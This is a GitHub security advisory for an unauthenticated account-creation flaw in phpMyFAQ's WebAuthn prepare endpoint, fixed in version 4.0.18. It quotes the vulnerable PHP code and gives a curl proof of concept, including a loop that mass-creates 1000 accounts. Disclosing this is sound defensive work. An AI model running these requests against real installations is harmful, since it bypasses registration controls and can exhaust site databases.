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GHSA-w22q-m2fm-x9f4

phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint

Source: GitHub Advisory Database (reviewed) High CVE-2026-27836

Packages

EcosystemPackageAffectedFixed in
Packagist thorsten/phpmyfaq < 4.0.18 4.0.18

Details

As written in the advisory (Markdown source, shown as plain text).

### Summary The WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled. ### Details **File:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php`, lines 63-79 ```php #[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])] public function prepare(Request $request): JsonResponse { $data = json_decode($request->getContent(), ...); $username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS); if (!$this->user->getUserByLogin($username, raiseError: false)) { try { $this->user->createUser($username); $this->user->setStatus(status: 'active'); $this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value); $this->user->setUserData([ 'display_name' => $username, 'email' => $username, ]); ``` The endpoint: 1. Accepts any POST request with a JSON `username` field 2. If the username doesn't exist, creates a new **active** user account 3. Does NOT check if WebAuthn support is enabled (`security.enableWebAuthnSupport`) 4. Does NOT check if registration is enabled (`security.enableRegistration`) 5. Does NOT verify CSRF tokens 6. Does NOT require captcha validation 7. Has no rate limiting ### PoC ```bash # Create an account - no auth needed curl -X POST https://TARGET/api/webauthn/prepare \ -H 'Content-Type: application/json' \ -d '{"username":"attacker_account"}' # Mass account creation for i in $(seq 1 1000); do curl -s -X POST https://TARGET/api/webauthn/prepare \ -H 'Content-Type: application/json' \ -d "{\"username\":\"spam_user_$i"}" & done ``` ### Impact - **Registration bypass:** Accounts created even when self-registration is disabled - **Username squatting:** Reserve usernames before legitimate users - **Database exhaustion:** Create millions of fake active accounts (DoS) - **User enumeration:** Different responses for existing vs new usernames - **Security control bypass:** WebAuthn config check is bypassed entirely All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.

References

External links from the advisory. They lead to third-party sites.